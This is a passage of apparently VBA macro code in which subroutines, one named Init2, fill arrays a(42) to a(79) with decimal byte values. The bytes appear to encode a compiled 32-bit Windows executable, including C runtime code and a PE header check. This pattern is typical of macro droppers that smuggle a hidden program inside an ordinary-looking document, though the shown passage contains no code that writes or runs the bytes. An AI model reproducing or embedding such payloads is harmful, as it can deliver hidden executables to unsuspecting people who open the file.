    a(42) = Array(9, 0, 0, 131, 196, 28, 133, 246, 15, 132, 192, 0, 0, 0, 87, 86, 232, 20, 1, 0, 0, 139, 248, 131, 196, 4, 133, 255, 15, 132, 171, 0, 0, 0, 83, 106, 1, 86, 87, 232, 176, 4, 0, 0, 131, 196, 16, 131, 248, 1, 15, 133, 140, 0, 0, 0, 106, 0, 106, 0, 141, 69, 248, 80, 106, 0, 106, 0, 86, 87, 199, 69, 248, 0, 0, 0, 0, 255, 21, 8, 176, 64, 0, 133, 192, 116, 109, 139, 77, 248, 81, 232, 201, 0, 0, 0, 139, 216, 131, 196, 4, 133, 219, 116, 88, 106, 0, 106, 0, 141, 85, 248, 82, 83, 106, 0, 86, 87, 255, 21, 8, 176, 64, 0, 133, 192, 116, 56)
    a(43) = Array(139, 69, 8, 104, 196, 204, 64, 0, 80, 232, 237, 1, 0, 0, 139, 240, 131, 196, 8, 133, 246, 116, 33, 139, 77, 248, 86, 106, 1, 81, 83, 232, 172, 5, 0, 0, 131, 196, 16, 131, 248, 1, 117, 3, 136, 69, 255, 86, 232, 129, 9, 0, 0, 131, 196, 4, 83, 232, 49, 0, 0, 0, 131, 196, 4, 139, 93, 244, 87, 232, 37, 0, 0, 0, 131, 196, 4, 95, 83, 232, 98, 9, 0, 0, 131, 196, 4, 94, 138, 69, 255, 91, 139, 229, 93, 195, 59, 13, 4, 224, 64, 0, 117, 2, 243, 195, 233, 91, 11, 0, 0, 139, 255, 85, 139, 236, 131, 125, 8, 0, 116, 45, 255, 117, 8, 106, 0, 255)
    a(44) = Array(53, 20, 252, 64, 0, 255, 21, 96, 176, 64, 0, 133, 192, 117, 24, 86, 232, 125, 12, 0, 0, 139, 240, 255, 21, 16, 176, 64, 0, 80, 232, 45, 12, 0, 0, 89, 137, 6, 94, 93, 195, 139, 255, 85, 139, 236, 83, 139, 93, 8, 131, 251, 224, 119, 111, 86, 87, 131, 61, 20, 252, 64, 0, 0, 117, 24, 232, 114, 17, 0, 0, 106, 30, 232, 188, 15, 0, 0, 104, 255, 0, 0, 0, 232, 204, 12, 0, 0, 89, 89, 133, 219, 116, 4, 139, 195, 235, 3, 51, 192, 64, 80, 106, 0, 255, 53, 20, 252, 64, 0, 255, 21, 100, 176, 64, 0, 139, 248, 133, 255, 117, 38, 106, 12, 94, 57, 5, 124)
    a(45) = Array(2, 65, 0, 116, 13, 83, 232, 118, 17, 0, 0, 89, 133, 192, 117, 169, 235, 7, 232, 251, 11, 0, 0, 137, 48, 232, 244, 11, 0, 0, 137, 48, 139, 199, 95, 94, 235, 20, 83, 232, 85, 17, 0, 0, 89, 232, 224, 11, 0, 0, 199, 0, 12, 0, 0, 0, 51, 192, 91, 93, 195, 106, 12, 104, 80, 205, 64, 0, 232, 167, 24, 0, 0, 51, 255, 137, 125, 228, 51, 192, 139, 93, 8, 59, 223, 15, 149, 192, 59, 199, 117, 20, 232, 177, 11, 0, 0, 199, 0, 22, 0, 0, 0, 232, 104, 24, 0, 0, 51, 192, 235, 123, 51, 192, 139, 117, 12, 59, 247, 15, 149, 192, 59, 199, 116, 222, 51, 192)
    a(46) = Array(102, 57, 62, 15, 149, 192, 59, 199, 116, 210, 232, 136, 21, 0, 0, 137, 69, 8, 59, 199, 117, 13, 232, 119, 11, 0, 0, 199, 0, 24, 0, 0, 0, 235, 201, 137, 125, 252, 102, 57, 59, 117, 32, 232, 98, 11, 0, 0, 199, 0, 22, 0, 0, 0, 106, 254, 141, 69, 240, 80, 104, 4, 224, 64, 0, 232, 26, 26, 0, 0, 131, 196, 12, 235, 161, 80, 255, 117, 16, 86, 83, 232, 136, 18, 0, 0, 131, 196, 16, 137, 69, 228, 199, 69, 252, 254, 255, 255, 255, 232, 9, 0, 0, 0, 139, 69, 228, 232, 69, 24, 0, 0, 195, 255, 117, 8, 232, 250, 17, 0, 0, 89, 195, 139, 255, 85, 139, 236)
    a(47) = Array(106, 64, 255, 117, 12, 255, 117, 8, 232, 48, 255, 255, 255, 131, 196, 12, 93, 195, 139, 255, 85, 139, 236, 131, 236, 16, 139, 77, 8, 83, 139, 93, 12, 86, 87, 139, 125, 16, 137, 77, 248, 137, 93, 252, 133, 255, 116, 26, 131, 125, 20, 0, 116, 20, 133, 201, 117, 23, 232, 211, 10, 0, 0, 199, 0, 22, 0, 0, 0, 232, 138, 23, 0, 0, 51, 192, 95, 94, 91, 201, 195, 139, 117, 24, 133, 246, 116, 12, 131, 200, 255, 51, 210, 247, 247, 57, 69, 20, 118, 33, 131, 251, 255, 116, 12, 83, 106, 0, 81, 232, 46, 35, 0, 0, 131, 196, 12, 133, 246, 116, 193, 131, 200, 255, 51, 210, 247, 247)
    a(48) = Array(57, 69, 20, 119, 181, 15, 175, 125, 20, 247, 70, 12, 12, 1, 0, 0, 137, 125, 240, 139, 223, 116, 8, 139, 70, 24, 137, 69, 244, 235, 7, 199, 69, 244, 0, 16, 0, 0, 133, 255, 15, 132, 218, 0, 0, 0, 247, 70, 12, 12, 1, 0, 0, 116, 68, 139, 70, 4, 133, 192, 116, 61, 15, 136, 242, 0, 0, 0, 139, 251, 59, 216, 114, 2, 139, 248, 59, 125, 252, 15, 135, 187, 0, 0, 0, 87, 255, 54, 255, 117, 252, 255, 117, 248, 232, 68, 34, 0, 0, 41, 126, 4, 1, 62, 1, 125, 248, 43, 223, 131, 196, 16, 41, 125, 252, 139, 125, 240, 233, 133, 0, 0, 0, 59, 93, 244, 114, 92)
    a(49) = Array(131, 125, 244, 0, 116, 31, 185, 255, 255, 255, 127, 51, 210, 59, 217, 118, 9, 139, 193, 247, 117, 244, 139, 193, 235, 7, 139, 195, 247, 117, 244, 139, 195, 43, 194, 235, 11, 184, 255, 255, 255, 127, 59, 216, 119, 2, 139, 195, 59, 69, 252, 119, 91, 80, 255, 117, 248, 86, 232, 194, 33, 0, 0, 89, 80, 232, 197, 32, 0, 0, 131, 196, 12, 133, 192, 116, 123, 131, 248, 255, 116, 100, 1, 69, 248, 43, 216, 41, 69, 252, 235, 36, 86, 232, 208, 25, 0, 0, 89, 131, 248, 255, 116, 82, 131, 125, 252, 0, 116, 34, 139, 77, 248, 255, 69, 248, 136, 1, 139, 70, 24, 75, 255, 77, 252, 137, 69, 244)
    a(50) = Array(133, 219, 15, 133, 38, 255, 255, 255, 139, 69, 20, 233, 188, 254, 255, 255, 131, 125, 12, 255, 116, 16, 255, 117, 12, 106, 0, 255, 117, 8, 232, 253, 33, 0, 0, 131, 196, 12, 232, 103, 9, 0, 0, 199, 0, 34, 0, 0, 0, 233, 143, 254, 255, 255, 131, 78, 12, 32, 139, 199, 43, 195, 51, 210, 247, 117, 16, 233, 132, 254, 255, 255, 131, 78, 12, 16, 235, 236, 106, 12, 104, 112, 205, 64, 0, 232, 22, 22, 0, 0, 51, 246, 137, 117, 228, 57, 117, 16, 116, 47, 57, 117, 20, 116, 42, 57, 117, 24, 117, 45, 131, 125, 12, 255, 116, 15, 255, 117, 12, 86, 255, 117, 8, 232, 160, 33, 0, 0)
    a(51) = Array(131, 196, 12, 232, 10, 9, 0, 0, 199, 0, 22, 0, 0, 0, 232, 193, 21, 0, 0, 51, 192, 232, 27, 22, 0, 0, 195, 255, 117, 24, 232, 93, 15, 0, 0, 89, 137, 117, 252, 255, 117, 24, 255, 117, 20, 255, 117, 16, 255, 117, 12, 255, 117, 8, 232, 215, 253, 255, 255, 131, 196, 20, 137, 69, 228, 199, 69, 252, 254, 255, 255, 255, 232, 5, 0, 0, 0, 139, 69, 228, 235, 195, 255, 117, 24, 232, 153, 15, 0, 0, 89, 195, 139, 255, 85, 139, 236, 255, 117, 20, 255, 117, 16, 255, 117, 12, 106, 255, 255, 117, 8, 232, 90, 255, 255, 255, 131, 196, 20, 93, 195, 139, 255, 85, 139, 236, 131, 236)
    a(52) = Array(12, 83, 86, 87, 139, 125, 12, 133, 255, 116, 29, 131, 125, 16, 0, 116, 23, 139, 117, 20, 133, 246, 117, 23, 232, 117, 8, 0, 0, 199, 0, 22, 0, 0, 0, 232, 44, 21, 0, 0, 51, 192, 95, 94, 91, 201, 195, 139, 77, 8, 133, 201, 116, 226, 131, 200, 255, 51, 210, 247, 247, 57, 69, 16, 119, 214, 15, 175, 125, 16, 247, 70, 12, 12, 1, 0, 0, 137, 77, 252, 137, 125, 244, 139, 223, 116, 8, 139, 70, 24, 137, 69, 248, 235, 7, 199, 69, 248, 0, 16, 0, 0, 133, 255, 15, 132, 191, 0, 0, 0, 139, 78, 12, 129, 225, 8, 1, 0, 0, 116, 47, 139, 70, 4, 133, 192, 116, 40)
    a(53) = Array(15, 136, 175, 0, 0, 0, 139, 251, 59, 216, 114, 2, 139, 248, 87, 255, 117, 252, 255, 54, 232, 215, 43, 0, 0, 41, 126, 4, 1, 62, 131, 196, 12, 43, 223, 1, 125, 252, 235, 79, 59, 93, 248, 114, 79, 133, 201, 116, 11, 86, 232, 24, 42, 0, 0, 89, 133, 192, 117, 125, 131, 125, 248, 0, 139, 251, 116, 9, 51, 210, 139, 195, 247, 117, 248, 43, 250, 87, 255, 117, 252, 86, 232, 170, 31, 0, 0, 89, 80, 232, 29, 41, 0, 0, 131, 196, 12, 131, 248, 255, 116, 97, 139, 207, 59, 199, 119, 2, 139, 200, 1, 77, 252, 43, 217, 59, 199, 114, 80, 139, 125, 244, 235, 41, 139, 69, 252, 15)
    a(54) = Array(190, 0, 86, 80, 232, 145, 32, 0, 0, 89, 89, 131, 248, 255, 116, 41, 255, 69, 252, 139, 70, 24, 75, 137, 69, 248, 133, 192, 127, 7, 199, 69, 248, 1, 0, 0, 0, 133, 219, 15, 133, 65, 255, 255, 255, 139, 69, 16, 233, 245, 254, 255, 255, 131, 78, 12, 32, 139, 199, 43, 195, 51, 210, 247, 117, 12, 233, 227, 254, 255, 255, 131, 78, 12, 32, 139, 69, 244, 235, 235, 106, 12, 104, 144, 205, 64, 0, 232, 20, 20, 0, 0, 51, 246, 57, 117, 12, 116, 33, 57, 117, 16, 116, 28, 51, 192, 57, 117, 20, 15, 149, 192, 59, 198, 117, 24, 232, 25, 7, 0, 0, 199, 0, 22, 0, 0, 0, 232)
    a(55) = Array(208, 19, 0, 0, 51, 192, 232, 42, 20, 0, 0, 195, 255, 117, 20, 232, 108, 13, 0, 0, 89, 137, 117, 252, 255, 117, 20, 255, 117, 16, 255, 117, 12, 255, 117, 8, 232, 80, 254, 255, 255, 131, 196, 16, 137, 69, 228, 199, 69, 252, 254, 255, 255, 255, 232, 5, 0, 0, 0, 139, 69, 228, 235, 198, 255, 117, 20, 232, 171, 13, 0, 0, 89, 195, 139, 255, 85, 139, 236, 131, 236, 12, 83, 87, 139, 125, 8, 51, 219, 59, 251, 117, 24, 232, 176, 6, 0, 0, 199, 0, 22, 0, 0, 0, 232, 103, 19, 0, 0, 131, 200, 255, 233, 101, 1, 0, 0, 86, 87, 232, 133, 30, 0, 0, 139, 240, 89, 137)
    a(56) = Array(117, 248, 57, 95, 4, 125, 3, 137, 95, 4, 106, 1, 83, 86, 232, 120, 48, 0, 0, 131, 196, 12, 137, 69, 252, 59, 195, 15, 140, 251, 0, 0, 0, 139, 87, 12, 247, 194, 8, 1, 0, 0, 117, 8, 43, 71, 4, 233, 37, 1, 0, 0, 139, 7, 139, 79, 8, 139, 216, 43, 217, 137, 93, 244, 246, 194, 3, 116, 60, 139, 214, 193, 250, 5, 139, 20, 149, 128, 6, 65, 0, 131, 230, 31, 193, 230, 6, 246, 68, 50, 4, 128, 116, 22, 139, 209, 59, 208, 115, 16, 139, 240, 128, 58, 10, 117, 1, 67, 66, 59, 214, 114, 245, 137, 93, 244, 131, 125, 252, 0, 117, 27, 139, 195, 233, 216, 0, 0)
    a(57) = Array(0, 132, 210, 120, 239, 232, 8, 6, 0, 0, 199, 0, 22, 0, 0, 0, 233, 135, 0, 0, 0, 246, 71, 12, 1, 15, 132, 180, 0, 0, 0, 139, 87, 4, 133, 210, 117, 8, 33, 85, 244, 233, 165, 0, 0, 0, 139, 93, 248, 139, 117, 248, 43, 193, 3, 194, 193, 251, 5, 131, 230, 31, 141, 28, 157, 128, 6, 65, 0, 137, 69, 8, 139, 3, 193, 230, 6, 246, 68, 48, 4, 128, 116, 121, 106, 2, 106, 0, 255, 117, 248, 232, 171, 47, 0, 0, 131, 196, 12, 59, 69, 252, 117, 32, 139, 71, 8, 139, 77, 8, 3, 200, 235, 9, 128, 56, 10, 117, 3, 255, 69, 8, 64, 59, 193, 114, 243, 247)
    a(58) = Array(71, 12, 0, 32, 0, 0, 235, 64, 106, 0, 255, 117, 252, 255, 117, 248, 232, 118, 47, 0, 0, 131, 196, 12, 133, 192, 121, 5, 131, 200, 255, 235, 56, 184, 0, 2, 0, 0, 57, 69, 8, 119, 16, 139, 79, 12, 246, 193, 8, 116, 8, 247, 193, 0, 4, 0, 0, 116, 3, 139, 71, 24, 137, 69, 8, 139, 3, 246, 68, 48, 4, 4, 116, 3, 255, 69, 8, 139, 69, 8, 41, 69, 252, 139, 69, 244, 3, 69, 252, 94, 95, 91, 201, 195, 106, 12, 104, 176, 205, 64, 0, 232, 6, 18, 0, 0, 51, 192, 57, 69, 8, 15, 149, 192, 133, 192, 117, 21, 232, 23, 5, 0, 0, 199, 0, 22, 0, 0)
    a(59) = Array(0, 232, 206, 17, 0, 0, 131, 200, 255, 235, 40, 255, 117, 8, 232, 109, 11, 0, 0, 89, 131, 101, 252, 0, 255, 117, 8, 232, 42, 254, 255, 255, 89, 137, 69, 228, 199, 69, 252, 254, 255, 255, 255, 232, 9, 0, 0, 0, 139, 69, 228, 232, 253, 17, 0, 0, 195, 255, 117, 8, 232, 178, 11, 0, 0, 89, 195, 139, 255, 85, 139, 236, 86, 139, 117, 8, 139, 70, 12, 168, 131, 117, 16, 232, 186, 4, 0, 0, 199, 0, 22, 0, 0, 0, 131, 200, 255, 235, 103, 131, 224, 239, 131, 125, 16, 1, 137, 70, 12, 117, 14, 86, 232, 213, 253, 255, 255, 1, 69, 12, 131, 101, 16, 0, 89, 86, 232, 204)
    a(60) = Array(38, 0, 0, 139, 70, 12, 89, 132, 192, 121, 8, 131, 224, 252, 137, 70, 12, 235, 22, 168, 1, 116, 18, 168, 8, 116, 14, 169, 0, 4, 0, 0, 117, 7, 199, 70, 24, 0, 2, 0, 0, 255, 117, 16, 255, 117, 12, 86, 232, 76, 28, 0, 0, 89, 80, 232, 79, 46, 0, 0, 51, 201, 131, 196, 12, 131, 248, 255, 15, 149, 193, 141, 65, 255, 94, 93, 195, 106, 12, 104, 208, 205, 64, 0, 232, 23, 17, 0, 0, 51, 192, 57, 69, 8, 15, 149, 192, 133, 192, 117, 21, 232, 40, 4, 0, 0, 199, 0, 22, 0, 0, 0, 232, 223, 16, 0, 0, 131, 200, 255, 235, 63, 139, 117, 16, 133, 246, 116)
End Sub

Private Sub Init2()
    a(61) = Array(10, 131, 254, 1, 116, 5, 131, 254, 2, 117, 218, 255, 117, 8, 232, 109, 10, 0, 0, 89, 131, 101, 252, 0, 86, 255, 117, 12, 255, 117, 8, 232, 31, 255, 255, 255, 131, 196, 12, 137, 69, 228, 199, 69, 252, 254, 255, 255, 255, 232, 9, 0, 0, 0, 139, 69, 228, 232, 247, 16, 0, 0, 195, 255, 117, 8, 232, 172, 10, 0, 0, 89, 195, 139, 255, 85, 139, 236, 86, 139, 117, 8, 87, 131, 207, 255, 133, 246, 117, 20, 232, 179, 3, 0, 0, 199, 0, 22, 0, 0, 0, 232, 106, 16, 0, 0, 11, 199, 235, 68, 246, 70, 12, 131, 116, 56, 86, 232, 213, 37, 0, 0, 86, 139, 248, 232, 189, 47)
    a(62) = Array(0, 0, 86, 232, 121, 27, 0, 0, 80, 232, 237, 46, 0, 0, 131, 196, 16, 133, 192, 121, 5, 131, 207, 255, 235, 18, 139, 70, 28, 133, 192, 116, 11, 80, 232, 200, 246, 255, 255, 131, 102, 28, 0, 89, 131, 102, 12, 0, 139, 199, 95, 94, 93, 195, 106, 12, 104, 240, 205, 64, 0, 232, 46, 16, 0, 0, 131, 77, 228, 255, 51, 192, 139, 117, 8, 133, 246, 15, 149, 192, 133, 192, 117, 21, 232, 57, 3, 0, 0, 199, 0, 22, 0, 0, 0, 232, 240, 15, 0, 0, 131, 200, 255, 235, 13, 246, 70, 12, 64, 116, 13, 131, 102, 12, 0, 139, 69, 228, 232, 58, 16, 0, 0, 195, 86, 232, 126, 9)
    a(63) = Array(0, 0, 89, 131, 101, 252, 0, 86, 232, 60, 255, 255, 255, 89, 137, 69, 228, 199, 69, 252, 254, 255, 255, 255, 232, 5, 0, 0, 0, 235, 212, 139, 117, 8, 86, 232, 203, 9, 0, 0, 89, 195, 139, 255, 85, 139, 236, 131, 61, 232, 248, 64, 0, 1, 117, 5, 232, 252, 7, 0, 0, 255, 117, 8, 232, 69, 6, 0, 0, 104, 255, 0, 0, 0, 232, 85, 3, 0, 0, 89, 89, 93, 195, 106, 88, 104, 16, 206, 64, 0, 232, 145, 15, 0, 0, 141, 69, 152, 80, 255, 21, 112, 176, 64, 0, 51, 246, 57, 53, 192, 23, 65, 0, 117, 11, 86, 86, 106, 1, 86, 255, 21, 108, 176, 64, 0, 184, 77)
    a(64) = Array(90, 0, 0, 102, 57, 5, 0, 0, 64, 0, 116, 5, 137, 117, 228, 235, 54, 161, 60, 0, 64, 0, 129, 184, 0, 0, 64, 0, 80, 69, 0, 0, 117, 234, 185, 11, 1, 0, 0, 102, 57, 136, 24, 0, 64, 0, 117, 220, 131, 184, 116, 0, 64, 0, 14, 118, 211, 51, 201, 57, 176, 232, 0, 64, 0, 15, 149, 193, 137, 77, 228, 232, 143, 2, 0, 0, 133, 192, 117, 8, 106, 28, 232, 83, 255, 255, 255, 89, 232, 243, 54, 0, 0, 133, 192, 117, 8, 106, 16, 232, 66, 255, 255, 255, 89, 232, 154, 51, 0, 0, 137, 117, 252, 232, 91, 41, 0, 0, 133, 192, 121, 8, 106, 27, 232, 69, 5, 0)
    a(65) = Array(0, 89, 255, 21, 104, 176, 64, 0, 163, 188, 23, 65, 0, 232, 30, 51, 0, 0, 163, 228, 248, 64, 0, 232, 102, 50, 0, 0, 133, 192, 121, 8, 106, 8, 232, 31, 5, 0, 0, 89, 232, 35, 48, 0, 0, 133, 192, 121, 8, 106, 9, 232, 14, 5, 0, 0, 89, 106, 1, 232, 229, 2, 0, 0, 89, 59, 198, 116, 7, 80, 232, 251, 4, 0, 0, 89, 232, 185, 47, 0, 0, 246, 69, 196, 1, 116, 6, 15, 183, 77, 200, 235, 3, 106, 10, 89, 81, 80, 86, 104, 0, 0, 64, 0, 232, 147, 227, 255, 255, 137, 69, 224, 57, 117, 228, 117, 6, 80, 232, 129, 4, 0, 0, 232, 168, 4, 0, 0)
    a(66) = Array(235, 46, 139, 69, 236, 139, 8, 139, 9, 137, 77, 220, 80, 81, 232, 45, 46, 0, 0, 89, 89, 195, 139, 101, 232, 139, 69, 220, 137, 69, 224, 131, 125, 228, 0, 117, 6, 80, 232, 103, 4, 0, 0, 232, 135, 4, 0, 0, 199, 69, 252, 254, 255, 255, 255, 139, 69, 224, 232, 118, 14, 0, 0, 195, 232, 134, 55, 0, 0, 233, 137, 254, 255, 255, 139, 255, 85, 139, 236, 129, 236, 40, 3, 0, 0, 163, 248, 249, 64, 0, 137, 13, 244, 249, 64, 0, 137, 21, 240, 249, 64, 0, 137, 29, 236, 249, 64, 0, 137, 53, 232, 249, 64, 0, 137, 61, 228, 249, 64, 0, 102, 140, 21, 16, 250, 64, 0, 102)
    a(67) = Array(140, 13, 4, 250, 64, 0, 102, 140, 29, 224, 249, 64, 0, 102, 140, 5, 220, 249, 64, 0, 102, 140, 37, 216, 249, 64, 0, 102, 140, 45, 212, 249, 64, 0, 156, 143, 5, 8, 250, 64, 0, 139, 69, 0, 163, 252, 249, 64, 0, 139, 69, 4, 163, 0, 250, 64, 0, 141, 69, 8, 163, 12, 250, 64, 0, 139, 133, 224, 252, 255, 255, 199, 5, 72, 249, 64, 0, 1, 0, 1, 0, 161, 0, 250, 64, 0, 163, 252, 248, 64, 0, 199, 5, 240, 248, 64, 0, 9, 4, 0, 192, 199, 5, 244, 248, 64, 0, 1, 0, 0, 0, 161, 4, 224, 64, 0, 137, 133, 216, 252, 255, 255, 161, 8, 224, 64, 0, 137)
    a(68) = Array(133, 220, 252, 255, 255, 255, 21, 132, 176, 64, 0, 163, 64, 249, 64, 0, 106, 1, 232, 79, 55, 0, 0, 89, 106, 0, 255, 21, 128, 176, 64, 0, 104, 184, 180, 64, 0, 255, 21, 124, 176, 64, 0, 131, 61, 64, 249, 64, 0, 0, 117, 8, 106, 1, 232, 43, 55, 0, 0, 89, 104, 9, 4, 0, 192, 255, 21, 120, 176, 64, 0, 80, 255, 21, 116, 176, 64, 0, 201, 195, 139, 255, 85, 139, 236, 139, 69, 8, 51, 201, 59, 4, 205, 16, 224, 64, 0, 116, 19, 65, 131, 249, 45, 114, 241, 141, 72, 237, 131, 249, 17, 119, 14, 106, 13, 88, 93, 195, 139, 4, 205, 20, 224, 64, 0, 93, 195, 5)
    a(69) = Array(68, 255, 255, 255, 106, 14, 89, 59, 200, 27, 192, 35, 193, 131, 192, 8, 93, 195, 232, 247, 50, 0, 0, 133, 192, 117, 6, 184, 120, 225, 64, 0, 195, 131, 192, 8, 195, 232, 228, 50, 0, 0, 133, 192, 117, 6, 184, 124, 225, 64, 0, 195, 131, 192, 12, 195, 139, 255, 85, 139, 236, 86, 232, 226, 255, 255, 255, 139, 77, 8, 81, 137, 8, 232, 130, 255, 255, 255, 89, 139, 240, 232, 188, 255, 255, 255, 137, 48, 94, 93, 195, 106, 0, 104, 0, 16, 0, 0, 106, 0, 255, 21, 136, 176, 64, 0, 51, 201, 133, 192, 15, 149, 193, 163, 20, 252, 64, 0, 139, 193, 195, 139, 255, 85, 139, 236, 104, 208)
    a(70) = Array(180, 64, 0, 255, 21, 144, 176, 64, 0, 133, 192, 116, 21, 104, 192, 180, 64, 0, 80, 255, 21, 140, 176, 64, 0, 133, 192, 116, 5, 255, 117, 8, 255, 208, 93, 195, 139, 255, 85, 139, 236, 255, 117, 8, 232, 200, 255, 255, 255, 89, 255, 117, 8, 255, 21, 148, 176, 64, 0, 204, 106, 8, 232, 165, 55, 0, 0, 89, 195, 106, 8, 232, 195, 54, 0, 0, 89, 195, 139, 255, 86, 232, 254, 48, 0, 0, 139, 240, 86, 232, 148, 4, 0, 0, 86, 232, 102, 10, 0, 0, 86, 232, 15, 58, 0, 0, 86, 232, 250, 57, 0, 0, 86, 232, 239, 55, 0, 0, 86, 232, 216, 55, 0, 0, 131, 196, 24, 94)
    a(71) = Array(195, 139, 255, 85, 139, 236, 86, 139, 117, 8, 51, 192, 235, 15, 133, 192, 117, 16, 139, 14, 133, 201, 116, 2, 255, 209, 131, 198, 4, 59, 117, 12, 114, 236, 94, 93, 195, 139, 255, 85, 139, 236, 131, 61, 180, 23, 65, 0, 0, 116, 25, 104, 180, 23, 65, 0, 232, 195, 59, 0, 0, 89, 133, 192, 116, 10, 255, 117, 8, 255, 21, 180, 23, 65, 0, 89, 232, 241, 58, 0, 0, 104, 136, 177, 64, 0, 104, 112, 177, 64, 0, 232, 161, 255, 255, 255, 89, 89, 133, 192, 117, 84, 86, 87, 104, 174, 95, 64, 0, 232, 185, 58, 0, 0, 184, 104, 177, 64, 0, 190, 108, 177, 64, 0, 89, 139, 248, 59)
    a(72) = Array(198, 115, 15, 139, 7, 133, 192, 116, 2, 255, 208, 131, 199, 4, 59, 254, 114, 241, 131, 61, 184, 23, 65, 0, 0, 95, 94, 116, 27, 104, 184, 23, 65, 0, 232, 89, 59, 0, 0, 89, 133, 192, 116, 12, 106, 0, 106, 2, 106, 0, 255, 21, 184, 23, 65, 0, 51, 192, 93, 195, 106, 32, 104, 48, 206, 64, 0, 232, 40, 11, 0, 0, 106, 8, 232, 153, 54, 0, 0, 89, 131, 101, 252, 0, 51, 192, 64, 57, 5, 72, 252, 64, 0, 15, 132, 216, 0, 0, 0, 163, 68, 252, 64, 0, 138, 69, 16, 162, 64, 252, 64, 0, 131, 125, 12, 0, 15, 133, 160, 0, 0, 0, 255, 53, 172, 23, 65, 0)
    a(73) = Array(139, 53, 152, 176, 64, 0, 255, 214, 139, 216, 137, 93, 208, 133, 219, 116, 104, 255, 53, 168, 23, 65, 0, 255, 214, 139, 248, 137, 125, 212, 137, 93, 220, 137, 125, 216, 131, 239, 4, 137, 125, 212, 59, 251, 114, 75, 232, 161, 47, 0, 0, 57, 7, 116, 237, 59, 251, 114, 62, 255, 55, 255, 214, 139, 216, 232, 142, 47, 0, 0, 137, 7, 255, 211, 255, 53, 172, 23, 65, 0, 255, 214, 139, 216, 255, 53, 168, 23, 65, 0, 255, 214, 57, 93, 220, 117, 5, 57, 69, 216, 116, 14, 137, 93, 220, 137, 93, 208, 137, 69, 216, 139, 248, 137, 125, 212, 139, 93, 208, 235, 171, 199, 69, 228, 140, 177, 64, 0)
    a(74) = Array(129, 125, 228, 152, 177, 64, 0, 115, 17, 139, 69, 228, 139, 0, 133, 192, 116, 2, 255, 208, 131, 69, 228, 4, 235, 230, 199, 69, 224, 156, 177, 64, 0, 129, 125, 224, 160, 177, 64, 0, 115, 17, 139, 69, 224, 139, 0, 133, 192, 116, 2, 255, 208, 131, 69, 224, 4, 235, 230, 199, 69, 252, 254, 255, 255, 255, 232, 32, 0, 0, 0, 131, 125, 16, 0, 117, 41, 199, 5, 72, 252, 64, 0, 1, 0, 0, 0, 106, 8, 232, 177, 52, 0, 0, 89, 255, 117, 8, 232, 189, 253, 255, 255, 131, 125, 16, 0, 116, 8, 106, 8, 232, 155, 52, 0, 0, 89, 195, 232, 58, 10, 0, 0, 195, 139, 255, 85, 139)
    a(75) = Array(236, 106, 0, 106, 0, 255, 117, 8, 232, 175, 254, 255, 255, 131, 196, 12, 93, 195, 139, 255, 85, 139, 236, 106, 0, 106, 1, 255, 117, 8, 232, 153, 254, 255, 255, 131, 196, 12, 93, 195, 106, 1, 106, 0, 106, 0, 232, 137, 254, 255, 255, 131, 196, 12, 195, 106, 1, 106, 1, 106, 0, 232, 122, 254, 255, 255, 131, 196, 12, 195, 139, 255, 85, 139, 236, 232, 233, 1, 0, 0, 255, 117, 8, 232, 50, 0, 0, 0, 89, 104, 255, 0, 0, 0, 232, 175, 255, 255, 255, 204, 139, 255, 85, 139, 236, 51, 192, 139, 77, 8, 59, 12, 197, 104, 189, 64, 0, 116, 10, 64, 131, 248, 22, 114, 238, 51, 192, 93)
    a(76) = Array(195, 139, 4, 197, 108, 189, 64, 0, 93, 195, 139, 255, 85, 139, 236, 129, 236, 252, 1, 0, 0, 161, 4, 224, 64, 0, 51, 197, 137, 69, 252, 83, 86, 139, 117, 8, 87, 86, 232, 185, 255, 255, 255, 139, 248, 51, 219, 89, 137, 189, 4, 254, 255, 255, 59, 251, 15, 132, 108, 1, 0, 0, 106, 3, 232, 178, 61, 0, 0, 89, 131, 248, 1, 15, 132, 7, 1, 0, 0, 106, 3, 232, 161, 61, 0, 0, 89, 133, 192, 117, 13, 131, 61, 0, 224, 64, 0, 1, 15, 132, 238, 0, 0, 0, 129, 254, 252, 0, 0, 0, 15, 132, 54, 1, 0, 0, 104, 164, 190, 64, 0, 104, 20, 3, 0, 0, 191, 80)
    a(77) = Array(252, 64, 0, 87, 232, 11, 61, 0, 0, 131, 196, 12, 133, 192, 15, 133, 184, 0, 0, 0, 104, 4, 1, 0, 0, 190, 130, 252, 64, 0, 86, 83, 102, 163, 138, 254, 64, 0, 255, 21, 164, 176, 64, 0, 187, 251, 2, 0, 0, 133, 192, 117, 31, 104, 116, 190, 64, 0, 83, 86, 232, 211, 60, 0, 0, 131, 196, 12, 133, 192, 116, 12, 51, 192, 80, 80, 80, 80, 80, 232, 46, 8, 0, 0, 86, 232, 159, 60, 0, 0, 64, 89, 131, 248, 60, 118, 42, 86, 232, 146, 60, 0, 0, 141, 4, 69, 12, 252, 64, 0, 139, 200, 43, 206, 106, 3, 209, 249, 104, 108, 190, 64, 0, 43, 217, 83, 80, 232)
    a(78) = Array(168, 59, 0, 0, 131, 196, 20, 133, 192, 117, 189, 104, 100, 190, 64, 0, 190, 20, 3, 0, 0, 86, 87, 232, 27, 59, 0, 0, 131, 196, 12, 133, 192, 117, 165, 255, 181, 4, 254, 255, 255, 86, 87, 232, 7, 59, 0, 0, 131, 196, 12, 133, 192, 117, 145, 104, 16, 32, 1, 0, 104, 24, 190, 64, 0, 87, 232, 132, 57, 0, 0, 131, 196, 12, 235, 94, 83, 83, 83, 83, 83, 233, 121, 255, 255, 255, 106, 244, 255, 21, 160, 176, 64, 0, 139, 240, 59, 243, 116, 70, 131, 254, 255, 116, 65, 51, 192, 138, 12, 71, 136, 140, 5, 8, 254, 255, 255, 102, 57, 28, 71, 116, 8, 64, 61, 244, 1, 0)
    a(79) = Array(0, 114, 232, 83, 141, 133, 4, 254, 255, 255, 80, 141, 133, 8, 254, 255, 255, 80, 136, 93, 251, 232, 166, 56, 0, 0, 89, 80, 141, 133, 8, 254, 255, 255, 80, 86, 255, 21, 156, 176, 64, 0, 139, 77, 252, 95, 94, 51, 205, 91, 232, 41, 238, 255, 255, 201, 195, 106, 3, 232, 55, 60, 0, 0, 89, 131, 248, 1, 116, 21, 106, 3, 232, 42, 60, 0, 0, 89, 133, 192, 117, 31, 131, 61, 0, 224, 64, 0, 1, 117, 22, 104, 252, 0, 0, 0, 232, 37, 254, 255, 255, 104, 255, 0, 0, 0, 232, 27, 254, 255, 255, 89, 89, 195, 139, 255, 85, 139, 236, 139, 69, 8, 163, 120, 2, 65, 0, 93)
